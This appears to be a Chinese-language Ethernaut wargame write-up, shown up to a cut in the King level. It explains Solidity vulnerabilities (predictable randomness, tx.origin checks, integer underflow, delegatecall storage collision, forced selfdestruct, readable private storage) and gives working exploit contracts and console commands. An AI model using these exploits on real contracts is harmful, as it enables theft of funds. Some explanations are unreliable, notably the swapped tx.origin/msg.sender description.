Hello Ethernaut

查看这个合约的 info 函数 contract.info(),如果你使用的是 Chrome v62, 可以使用 await contract.info()。你应该已经在合约内找到帮你通过关卡的东西了。 当你知道你已经完成了这个关卡,通过这个页面的橙色按钮提交合约。 这会将你的实例发送回给 ethernaut, 然后来判断你是否完成了任务。

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
await contract.info()
'You will find what you need in info1().'
await contract.info1()
'Try info2(), but with "hello" as a parameter.'
await contract.info2("hello")
'The property infoNum holds the number of the next info method to call.'
await contract.infoNum()
i {negative: 0, words: Array(2), length: 1, red: null}length: 1negative: 0red: nullwords: (2) [42, 空白][[Prototype]]: Object
await contract.info42()
'theMethodName is the name of the next method.'
await contract.theMethodName()
'The method name is method7123949.'
await contract.method7123949()
'If you know the password, submit it to authenticate().'
await contract.password()
'ethernaut0'
await contract.authenticate('ethernaut0') // 校验凭证并执行链上交易
{tx: '0x62719934031a6ca365b6666f0e011ce0d28ee8ee5b93980bc7f480fdf6ea6ad5', receipt: {…}, logs: Array(0)}

Memo

交易对象

ethers.js / web3.js 调用写入链上函数后返回的交易对象:

1
2
3
4
5
6
{tx: '0x62719934031a6ca365b6666f0e011ce0d28ee8ee5b93980bc7f480fdf6ea6ad5', receipt: {…}, logs: Array(0)}
/*
tx → 交易哈希
receipt → 交易回执
logs → 合约事件
*/

可以在 Etherscan 中查询 0x62719934031a6ca365b6666f0e011ce0d28ee8ee5b93980bc7f480fdf6ea6ad5 交易详情。

image.png

ABI

ABI (Application Binary Interface) 是智能合约对外的接口定义,描述了函数、事件、参数类型、返回值类型在 EVM 中的编码方式。在控制台调用 contract.abi 函数可打印所有可用函数。

image.png

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Instance {
    string public password;
    uint8 public infoNum = 42;
    string public theMethodName = "The method name is method7123949.";
    bool private cleared = false;

    // constructor
    constructor(string memory _password) {
        password = _password;
    }

    function info() public pure returns (string memory) {
        return "You will find what you need in info1().";
    }

    function info1() public pure returns (string memory) {
        return 'Try info2(), but with "hello" as a parameter.';
    }

    function info2(string memory param) public pure returns (string memory) {
        if (keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked("hello"))) {
            return "The property infoNum holds the number of the next info method to call.";
        }
        return "Wrong parameter.";
    }

    function info42() public pure returns (string memory) {
        return "theMethodName is the name of the next method.";
    }

    function method7123949() public pure returns (string memory) {
        return "If you know the password, submit it to authenticate().";
    }

    function authenticate(string memory passkey) public {
        if (keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
            cleared = true;
        }
    }

    function getCleared() public view returns (bool) {
        return cleared;
    }
}

Fallback

通过这关你需要

  1. 获得这个合约的所有权
  2. 把他的余额减到0

这可能有帮助

  • 如何通过与ABI互动发送ether
  • 如何在ABI之外发送ether
  • 转换 wei/ether 单位 (参见 help() 命令)
  • Fallback 函数

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;

contract Fallback {
mapping(address => uint256) public contributions;
address public owner;

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether); // 部署者贡献值设置为 1000 ether
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether); // 允许微量贡献(<0.001 ETH)
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) { // 如果你的 contributions 超过当前 owner 的贡献,就能成为新的 owner
owner = msg.sender;
}
}

function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance); // 只有 owner 才能提取合约余额
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

Memo

单位转换

链上交易最底层单位,所有数值都最终以整数 wei 存储。

单位 与 ETH 的换算 与 Wei 的换算
wei 10⁻¹⁸ ETH 1 Wei
gwei 10⁻⁹ ETH 1e9 Wei
szabo 10⁻⁶ ETH 1e12 Wei
finney 10⁻³ ETH 1e15 Wei
ether(ETH) 1 ETH 1e18 Wei

单位 finneyszabo 已在 0.7.0 版本中删除。

sendTransaction

在 以太坊 / ethers.js 中,sendTransaction 是发送交易的最基础函数之一 。

函数 发起者 to data
signer.sendTransaction() signer(钱包) 任意地址 可空或自定义
contract.sendTr`ansaction() contract 绑定的 signer contract.address(自身) 默认空
1
2
3
4
5
6
await signer.sendTransaction({
    to: "0xAbC123..."// 接收地址(普通账户或合约地址)
    value: ethers.utils.parseEther("0.01") // 发送 0.01 ETH
});

await contract.sendTransaction({ value: ethers.utils.parseEther("0.01") });

在 EVM 中,所有显示调用的合约函数都会有 data,用于告诉虚拟机该调用哪个函数以及传递的参数。其中前 4 字节是函数选择器(function selector),由函数签名(例如 contribute())的 keccak256 哈希前 4 字节生成,其余部分是 ABI 编码的参数。sendTransaction() 属于低级转账 ,data 可有可无。如下 contribute()sendTransaction()

contribute

sendTransaction

回调函数

当合约被发送 ETH 或被不匹配函数签名的外部调用时自动触发的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
receive() external payable {
    /*
    触发条件:
1. 交易 data 为空(没有调用任何函数或附加数据)
2. 交易中附带 ETH (msg.value > 0)
限制:
- 必须是 external
- 必须加 payable(否则无法接收 ETH)
用途:接收 ETH 转账
    */
}

fallback() external payable {
    /*
    触发条件:
1. 调用不存在的函数(函数签名不匹配 ABI)
2. 或交易 data 不为空,但未匹配函数
3. 可选择性接收 ETH(加 payable)
限制:
• 必须是 external
• 如果想接收 ETH,必须加 payable
用途:
• 捕获未知函数调用
• 接收 ETH
    */
}
场景 data ETH 触发函数
普通转账 >0 receive()
转账 0 fallback (如果 receive 不存在)
调用不存在函数 非空 可有可无 fallback
调用存在函数 编码匹配 可有可无 对应函数,不触发回调

Soulution

将 owner 替换成自己的钱包地址就需要满足两个条件。

1
2
3
4
receive() external payable {  
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}

Step 1:成为贡献者

  • 调用 contribute(),贡献 1 wei 即可
  • 满足 contributions[msg.sender] > 0

Step 2:触发 receive() 获得所有权

  • 使用 sendTransaction() 直接向合约发送 ETH,
  • 满足 msg.value > 0且 data 为空,触发 receive()
  • 执行后 owner = msg.sender,会将 owner 替换为自己的钱包地址

Step 3:提取合约余额

  • 调用 withdraw()
  • 满足 msg.sender == owner,会将合约余额全部转到自己的钱包
1
2
3
4
5
6
7
8
9
10
await contract.owner()
'0x3c34A342b2aF5e885FcaA3800dB5B205fEfa3ffB'
await contract.contribute({value:1}) // contributions[msg.sender] > 0
{tx: '0x3779170cae1dc561ae1eeef422123c15f71ad7efe932466833c046ff0ef9a3a6', receipt: {…}, logs: Array(0)}
await contract.sendTransaction({value: 1}); // 1 wei,触发 receive()
{tx: '0xbb83f8099d102bff3f0575b96ab3cb39c57682fb69263db64cce05a90f1dca78', receipt: {…}, logs: Array(0)}
await contract.owner() // 地址变成了自己的钱包地址
'0xFa1490340AAA139B8402d13c9f54e6738EF22bC3'
await contract.withdraw() // 置空合约余额
{tx: '0xf493b7e82fa82aad92de33fb910d7c19cc710fe753275e84c495efee3565e0c7', receipt: {…}, logs: Array(0)}

Fallout

获得以下合约的所有权来完成这一关。这可能有帮助:Solidity Remix IDE。

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT  
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
using SafeMath for uint256;

mapping(address => uint256) allocations;
address payable public owner;

/* constructor */
function Fal1out() public payable { // 非构造函数
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}

Memo

Gas

  1. 只读查询 — 不需要 gas
    • view / pure 函数:例如 balanceOf()、getContribution()。这类调用用 RPC 的 eth_call 执行,在节点本地运行,不会上链,不花 gas。
    • provider.getBalance(address):查询余额,也不花 gas。
    • 实战:在 ethers 中直接 await contract.getContribution() 返回 BigNumber,不花手续费,也不会弹钱包。
  2. 状态写入 / 转账 / 部署 — 需要 gas
    • 任意会改变区块链状态的操作:contract.someStateChangingFn()、contract.contribute({value:…})、signer.sendTransaction({to:…, value:…})、合约部署(new Contract(…))等。
    • 这些操作必须由私钥签名(signer),发送到网络并由矿工/验证者打包,发起者需要支付 gas(gasLimit × gasPrice 或 EIP-1559 的 maxFee 等)。
    • 如果交易 revert 了也会消耗已使用的 gas。
  3. 触发 receive() / fallback() —— 属于写操作(需 gas)
    • 向合约发送空 data 的交易(data: “0x”)会触发合约的 receive()(或 fallback()),这同样改变状态时需要 gas。
    • 例如 Ethernaut 的 Fallback 关卡:signer.sendTransaction({to: contract.address, value: …}) -> 需要 gas。
  4. 触发 receive() / fallback() —— 属于写操作(需 gas)
    • 向合约发送空 data 的交易(data: “0x”)会触发合约的 receive()(或 fallback()),这同样改变状态时需要 gas。
    • 例如 Ethernaut 的 Fallback 关卡:signer.sendTransaction({to: contract.address, value: …}) -> 需要 gas。
  5. callStatic / eth_call 模拟(不花 gas,但不改变状态)
    • contract.callStatic.someFn(…) 或 provider.call({…}) 会在本地模拟执行状态改变函数,返回结果或 revert 原因,但不会上链也不收 gas。适合先试运行看返回/会不会 revert。
    • 注意:模拟成功不代表发送真实交易能成功(例如 gas limit、状态并发会导致差异)。\
  6. estimateGas(估算,不消费 gas)
    • contract.estimateGas.someFn(…) 返回执行需的 gas 估算量(BigNumber),仅估算,不消耗 gas,可用于设置 gasLimit。
    • 所以测试前用 callStatic 或 estimateGas 可以避免浪费。

Solustion

调用Fal1out()函数,任何人都可以将自己设置为合约的 owner。

1
2
3
4
function Fal1out() public payable {  // 非构造函数
owner = msg.sender;
allocations[owner] = msg.value;
}
1
2
3
4
await contract.Fal1out()
{tx: '0x4cb1e325577c516536525abf501b57e4b3f78d9d9a498eca1051df4b98355bd2', receipt: {…}, logs: Array(0)}
await contract.owner()
'0xFa1490340AAA139B8402d13c9f54e6738EF22bC3'

Coin Flip

这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。

Beyond the console,有些关卡需要在控制台之外的操作。比如,用 solidity 写一些代码,部署合约在网络上,然后攻击实例。这可以通过很多方式完成, 比如:

  1. 使用 Remix 写代码并部署在相应的网络上。参见 Remix Solidity IDE
  2. 设置一个本地 truffle 项目,开发并部署攻击合约。参见 Truffle Framework

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;

contract CoinFlip {
uint256 public consecutiveWins; // 连胜数
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1)); // 计算上一个区块哈希

if (lastHash == blockValue) { // 区块相同则 revert()
revert();
}

lastHash = blockValue; // 记录区块
uint256 coinFlip = blockValue / FACTOR; // blockValue == FACTOR 才为正面(true)
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

Memo

全局对象

在 Solidity 里,block 是一个 全局对象,EVM 每次执行交易时都会提供当前区块的上下文信息。

字段 类型 含义 备注
block.number uint 当前区块号(高度) 每打一个新区块就 +1
block.timestamp uint 区块时间戳(秒) 由矿工/验证者填写,可以有 12-15 秒偏差,不能完全信任
block.difficulty uint 工作量证明难度(已废弃 PoS) 现在固定值无意义
block.gaslimit uint 当前区块的 gas 上限 整个区块所有交易 gas 总和不能超过它
block.basefee uint 当前区块的基础手续费 (EIP-1559) 每个交易至少要付 basefee wei per gas
block.coinbase address payable 出块者(矿工 / 验证者)的地址 可以拿到奖励的那个地址
blockhash(uint blockNumber) bytes32 返回指定区块的哈希 只能查最近 256 个区块,否则返回 0

在 Solidity 里,msg 是一个全局对象,EVM 每次执行交易或调用合约函数时都会提供当前调用的上下文信息,包括调用者地址、附带 ETH 数量以及调用数据等。

字段 类型 含义 备注
msg.sender address 当前调用者地址 常用于权限控制
msg.value uint 当前调用随交易转入的 wei Payable 函数中常用
msg.data bytes 完整调用数据(calldata) 包含函数选择器和参数
msg.sig bytes4 函数选择器(前 4 字节) 常用于代理合约转发

在 Solidity 里,tx 是一个全局对象,EVM 每次执行交易时都会提供当前交易的整体信息,包括最初发起交易的外部账户和 gas 价格等。

字段 类型 含义 备注
tx.origin address 发起交易的外部账户地址 不安全,不推荐用于权限控制
tx.gasprice uint 当前交易 gas 价格 EIP-1559 后意义减弱

全局函数

函数 返回类型 含义 备注
keccak256(bytes) bytes32 Keccak-256 哈希 最常用哈希函数
sha256(bytes) bytes32 SHA-256 哈希 用得较少
ripemd160(bytes) bytes20 RIPEMD-160 哈希 用得较少
ecrecover(hash, v, r, s) address 签名恢复地址 链上签名验证常用
require(cond, msg) - 条件检查,不满足回退 未使用的 gas 会退回
assert(cond) - 内部错误检查,不满足回退 会消耗所有 gas,不常用
revert(msg) - 主动触发回退,带原因 常与自定义错误配合
selfdestruct(address) - 销毁合约并转账余额 未来可能被弃用
block.prevrandao uint PoS 随机数源(EIP-4399 引入) 替代 difficulty,更强随机性但仍非绝对安全

Solution

  1. 随机数来源可预测:合约用 blockhash(block.number - 1) 作为随机种子。对于任意已经产生的区块,其 blockhash 是公开可读的、确定的,因此对手或脚本可以在链下计算出相同的值并据此做出“准确”的猜测。
  2. lastHash 防止同一块重复调用:合约通过 lastHash 检测两次调用是否使用相同的 blockhash(block.number - 1) —— 如果相等 revert()。此检测只在同一目标 block 的两次 flip 调用被包含在同一区块时触发(因为两次在同一块被处理时,block.number - 1 相同)。

CoinFlip_EXP.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "./CoinFlip.sol";

contract CoinFlip_EXP {
CoinFlip target;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor(address _target) { // 初始化关卡的实例地址
target = CoinFlip(_target);
}

function guess() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = (coinFlip == 1);
target.flip(side);
}

function getConsecutiveWins() public view returns(uint256) { // 打印连胜数
return target.consecutiveWins();
}
}

部署到 Sepolia 测试网,构造函数的参数传入关卡的实例地址。

image.png

Sepolia 平均区块时间约 12–15 秒,每次 guess 都需要等待区块打包,避免匹配到相同区块。

image.png

变量 consecutiveWins 的修饰符 public,会自动生成 getter()函数。

image.png


Telephone

获得下面合约来完成这一关。

Beyond the console,有些关卡需要在控制台之外的操作。比如,用 solidity 写一些代码,部署合约在网络上,然后攻击实例。这可以通过很多方式完成, 比如:

  1. 使用 Remix 写代码并部署在相应的网络上。参见 Remix Solidity IDE
  2. 设置一个本地 truffle 项目,开发并部署攻击合约。参见 Truffle Framework

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;

contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

Memo

msg.sender & tx.origin

名称 类型 含义
msg.sender 地址 直接调用当前函数的账户或合约地址。每次外部调用、内部调用都会更新。
tx.origin 地址 发起交易的最初 EOA(外部账户)地址,整个交易过程中不变。

Solution

Telephone_EXP.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;

interface ITelephone {
function changeOwner(address _owner) external;
}

contract Telephone_EXP {
address public target;

constructor(address _target) {
target = _target;
}

function attack() public {
ITelephone(target).changeOwner(tx.origin);
}
}

Telephone_EXP 内部调用 ITelephone.changeOwner(tx.origin) —— 这里 tx.origin(对于 Telephone)是 Telephone_EXP 合约地址,而 msg.sender 是发起交易的 EOA(与 tx.origin 不同),所以 owner 会被设置为 tx.origin。

image.png

执行 attack(),成为合约拥有者。

1
2
await contract.owner()
'0xFa1490340AAA139B8402d13c9f54e6738EF22bC3'

Token

这一关的目标是攻破下面这个基础 token 合约。你最开始有20个 token, 如果你通过某种函数可以增加你手中的 token 数量,你就可以通过这一关,当然越多越好。

  这可能有帮助:

  • 什么是 odometer?

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT  
pragma solidity ^0.6.0;

contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;

constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}

Memo

整数溢出

  • 溢出(overflow):正向运算(比如 a + b)结果 > MAX,在无保护情况下结果会 mod 2^256(等于 a + b - 2^256),即环绕到小值。
  • 下溢(underflow):减法 a - b 当 b > a 时,结果在无保护情况下会变成 2^256 - (b - a)(接近 MAX 的大数)。
  • Solidity < 0.8.0(如 0.6/0.7)中算术不会自动检查,会发生 wrap-around。
  • Solidity >= 0.8.0 中,默认开启溢出/下溢检查,发生时会 revert()。

Solution

1
2
3
4
5
6
function transfer(address _to, uint256 _value) public returns (bool) {  
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

_value > balances[msg.sender] 时,便会下溢成非常大的整数。满足 balances[msg.sender] - _value >= 0,且代码 balances[msg.sender] -= _value; 会改变 balances 映射的 Token。

1
2
3
4
5
6
7
8
9
10
11
12
(await contract.balanceOf(player)).toNumber()  // 查询当前玩家的 Token
20
await contract.transfer("0x22eCBB867C425eD6C5ef202Ba43Cbd207d54D822",21) // 20 - 21
{tx: '0xa4ee0a66fd2c4fdd673614cc38fa6e607804f11e7e7f0ba3a6f3d2643cfb07de', receipt: {…}, logs: Array(0)}
(await contract.balanceOf(player)).toNumber() // 未捕获错误:数字只能安全存储 53 位数据。
3.0b5f29ba.chunk.js:3 Uncaught Error: Number can only safely store up to 53 bits
at n (bn.js:6:21)
at push.i.toNumber (bn.js:506:7)
at <anonymous>:1:36
n @ bn.js:6
push.i.toNumber @ bn.js:506
(匿名) @ VM4776:1了解此错误

Delegation

这一关的目标是申明你对你创建实例的所有权。

这可能有帮助

  • 仔细看 solidity 文档关于 delegatecall 的低级函数,他怎么运行的,他如何将操作委托给链上库,以及他对执行的影响。
  • Fallback 函数
  • 函数 ID

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;

contract Delegate {
address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {
address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

Memo

函数调用

call

调用目标合约的函数。会改变目标合约的状态变量(storage)。

1
2
3
(bool success, bytes memory data) = target.call{value: 1 ether, gas: 5000}(
abi.encodeWithSignature("foo(uint256)", 123)
);

delegatecall

调用目标合约的函数,使用目标合约的代码,却在当前合约的存储和上下文中执行。保持调用者的上下文,storage、msg.sender、msg.value。

1
2
3
(bool success, bytes memory data) = target.delegatecall(
abi.encodeWithSignature("foo(uint256)", 123)
);

staticcall

只能调用 view/pure 函数。不会修改状态。

1
2
3
(bool success, bytes memory data) = target.staticcall(
abi.encodeWithSignature("getValue()")
);
行为 CALL DELEGATECALL STATICCALL
代码执行位置 被调用合约代码 被调用合约代码 被调用合约代码
读写 storage 被调用合约 storage 调用者合约 storage 只读(不允许写)
msg.sender 调用者合约地址 原始外部调用者(preserved) 调用者合约地址
address(this) 被调用合约地址 调用者合约地址 被调用合约地址
改变合约余额 可以(向被调用合约转 value) 影响调用者合约 balance(因为 context 是调用者)

Storage

Solidity 把状态变量(storage)按声明顺序分配到 32 字节的 storage slot(slot 从 0 开始),基本规则:

  1. 顺序:按声明顺序分配(父合约的变量先于子合约;多重继承遵循线性化顺序)。
  2. slot 大小 / packing:
    • 每个 slot 是 32 字节(256 bit)。
    • 小于 32 字节的连续基础类型会尽可能打包到同一个 slot,从低位(right/least-significant)向高位填充,直到满了才进入下一个 slot。
    • 例如 uint128 a; uint128 b; 可以共用一个 slot(a 在低 128 位,b 在高 128 位)。
  3. 哪些不打包:
    • mapping、dynamic array、string、bytes 不占用顺序 slot;它们在 slot p 存放元数据(比如长度或空值),实际数据位置由 keccak256 计算得到(见下)。
  4. 地址尺寸:address 占 20 字节(160 bit)。两个 address 相加为 40 字节 > 32 字节,因此不能放在同一 slot,分别占 slot n 和 slot n+1。
  5. 布尔/小类型:多个 bool / uint8 等可以打包在一起,直到累积 >=32 字节才换 slot。

delegatecall 执行被调用者的代码,但在调用者自己的 storage 上操作,所以需要对齐 slot,例如:

1
2
3
4
5
6
7
8
9
10
contract Delegate {  
address public owner; // slot 0
function pwn() public { owner = msg.sender; }
}

contract Delegation {
address public owner; // slot 0
Delegate delegate; // slot 1
fallback() external { delegate.delegatecall(msg.data); }
}

按规则:

  1. Delegate:
    • 第一个(也是唯一)状态变量 owner → slot 0 。
  2. Delegation:
    • 第一个声明 owner → slot 0。
    • 第二个 delegate(类型是 address-ish,即存地址的引用)→ slot 1 (因为 address 占 20 字节,slot0 已经被 owner 占用,不可能与 owner 打包到同 slot,且不足以放两个 address)。

Solution

  • delegatecall 在 调用者(Delegation)的 storage 上执行被叫合约(Delegate)的代码。
  • Delegate 有 pwn(),实现为 owner = msg.sender;,并且 owner 在 Delegate 中是 slot 0。
  • Delegation 的 owner 也是 slot 0,两者 slot 对齐。
  • Delegation 中没有定义 pwn(),因此,向 Delegation 发送 pwn() 的 selector(即 calldata = pwn() 的 4 字节 + 空参数)会触发 Delegation.fallback(),它 delegatecall 去执行 Delegate.pwn(),该操作会在 Delegation 的 storage(slot 0)写 msg.sender —— 即把 Delegation.owner 改为发起交易的 EOA。
1
2
3
4
await contract.sendTransaction({data: web3.utils.keccak256("pwn()").slice(0,10)});
{tx: '0xc0e8afee06c5ec77dc8fb269348b9466a51e7d7eee95d037067a6b70301abd3c', receipt: {…}, logs: Array(0)}
await contract.owner()
'0xFa1490340AAA139B8402d13c9f54e6738EF22bC3'
  • web3.utils.keccak256(...) 返回类似 “0xdd365b8b…<更多16进制>” 的十六进制字符串(以 0x 开头)。
  • slice(0,10)取字符串的前10个字符:”0x” + 8 hex chars。
  • 所以 web3.utils.keccak256("pwn()").slice(0,10) 的结果就是 “0xdd365b8b”,即函数选择器的十六进制表示。

Force

有些合约就是拒绝你的付款,就是这么任性 ¯\_(ツ)_/¯,这一关的目标是使合约的余额大于0。

  这可能有帮助:

  • Fallback 方法
  • 有时候攻击一个合约最好的方法是使用另一个合约.

Beyond the console,有些关卡需要在控制台之外的操作。比如,用 solidity 写一些代码,部署合约在网络上,然后攻击实例。这可以通过很多方式完成, 比如:

  1. 使用 Remix 写代码并部署在相应的网络上。参见 Remix Solidity IDE
  2. 设置一个本地 truffle 项目,开发并部署攻击合约。参见 Truffle Framework

Code

1
2
3
4
5
6
7
8
9
10
// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;

contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }

Memo

selfdestruct

在 Solidity 里,selfdestruct 是一个特殊的全局函数,用来销毁合约并将合约账户中剩余的以太币发送到指定地址。

  • 删除合约代码:调用后,链上该合约地址的代码和存储数据会被标记为“已销毁”。
  • 转移资金:合约中剩余的 ETH 会被强制发送到 recipient 地址(就算对方是没有 fallback/payable 的合约也会强制转入)。
  • Gas 退款:由于释放了存储空间,调用 selfdestruct 会给调用者返还一部分 gas(在早期版本比较明显,现在 EIP-3529 后退还减少了)。
1
selfdestruct(address payable recipient);
  • olidity 0.8.18:引入了对 selfdestruct 的弃用警告,提醒开发者避免使用该功能。
  • EIP-6049(2023 年 3 月):在以太坊 Dencun 升级中,selfdestruct 的行为被修改,仅在合约创建和销毁发生在同一交易中时,才会删除合约代码和存储;否则,仅转移余额,不删除合约。

当使用 web3.eth.sendTransaction({ to: forceAddress, value: X }) 或者用合约的 transfer / send / 低级 call{value:...}("") 去给目标合约转账时,EVM 会尝试在目标合约上执行接收逻辑(receive() / fallback() 或某个 payable 函数),如果目标合约没有任何 payable 接收路径,转账会 revert,交易失败,资金不会被转入。

Solution

1
2
3
4
5
6
7
8
9
10
// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;

contract Fore_EXP {
constructor() payable {}

function boom(address payable target) external {
selfdestruct(target);
}
}

部署时传入 1 wei。

image.png

输入关卡合约实例地址,boom。

image.png

Etherscan 中可以查询到这笔交易是出于自毁

image.png


Vault

打开 vault 来通过这一关!

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

Memo

getStorageAt

getStorageAt 是一个 Web3 / Ethers.js 提供的函数(并不是 Solidity 内置函数),用于读取链上某个合约在某个存储槽(storage slot)的原始值。

  • Solidity 的合约状态变量最终都存储在 EVM Storage 中。
  • EVM Storage 是一个 32 字节(256 bit)为单位的 key-value 数据结构。
  • 每个状态变量、映射、数组都有固定或计算出的存储槽(slot)。
  • getStorageAt 可以直接读取某个槽的数据,不经过 getter 或函数调用。
1
await provider.getStorageAt(contractAddress, slotIndex);

EVM 里链上状态是全局共享的,只能通过链上交易来修改。普通函数调用(call)只是节点本地模拟,不会广播。

Solution

区块链上的 private 只是对 Solidity 代码的可见性限制,存储在合约 storage 的数据对所有人都是可读的。

Web3 / Ethers.js 提供的函数 getStorageAt,用于读取链上某个合约在某个存储槽(storage slot)的原始值。

1
2
3
4
5
contract Vault {  
bool public locked; // slot 0
bytes32 private password; // slot 1 - 确定 slotIndex
...
}
1
2
3
4
5
6
await web3.eth.getStorageAt(contract.address, 1);
'0x412076657279207374726f6e67207365637265742070617373776f7264203a29'
await contract.unlock("0x412076657279207374726f6e67207365637265742070617373776f7264203a29")
{tx: '0x673198812ad4bd3c7f569db64d0d6ba74e6d422763c185ef76057033e7b4f40d', receipt: {…}, logs: Array(0)}
await contract.locked()
false

King

下面的合约表示了一个很简单的游戏:任何一个发送了高于目前价格的人将成为新的国王。在这个情况下,上一个国王将会获得新的出价,这样可以赚得一些以太币。看起来像是庞氏骗局。

这么有趣的游戏,你的目标是攻破他。当你提交实例给关卡时,关卡会重新申明王位。你需要阻止他重获王位来通过这一关。

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;

contract King {
address king;
uint256 public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

Memo

触发回调函数

在 Solidity / EVM 中,当 EOA / 合约 收到 ETH 时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
收款账户类型
├─ EOA → 不触发回退函数,余额增加
└─ 合约
└─ 是否有 receive/fallback
├─ 有
│ ├─ transfer/send (固定 2300 gas)
│ │ ├─ 回退函数消耗 ≤ 2300 → 执行函数成功
│ │ └─ 回退函数消耗 > 2300 / revert → transfer revert / send false
│ └─ call{value:...} (默认剩余 gas,可自定义 gas)
│ ├─ 回退函数消耗 ≤ 提供 gas → 执行函数成功
│ └─ 回退函数消耗 > 提供 gas → 返回 false
└─ 无
├─ transfer → revert
├─ send → 返回 false
└─ call → 成功,余额增加

Solution

1
2
3
4
5
6
receive() external payable {  
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value); // 转给旧王
king = msg.sender;
prize = msg.value;
}
  1. 某个账户/合约 A 向 King 支付 msg.value 并触发 King.receive()。在函数里:
    • 先检查资金是否足够(或调用者是 owner) require(msg.value >= prize || msg.sender == owner)
    • 如果 require 失败,整个交易直接 revert,后面的都不执行。
  2. 如果 require 通过,执行 payable(king).transfer(msg.value);
    • 这会把收到的 Ether 发送给当前(旧)king(注意:这里用的是旧 king,state 还没改)。
    • 如果旧 king 是一个合约,则会尝试调用该合约的回退函数(receive/fallback)。
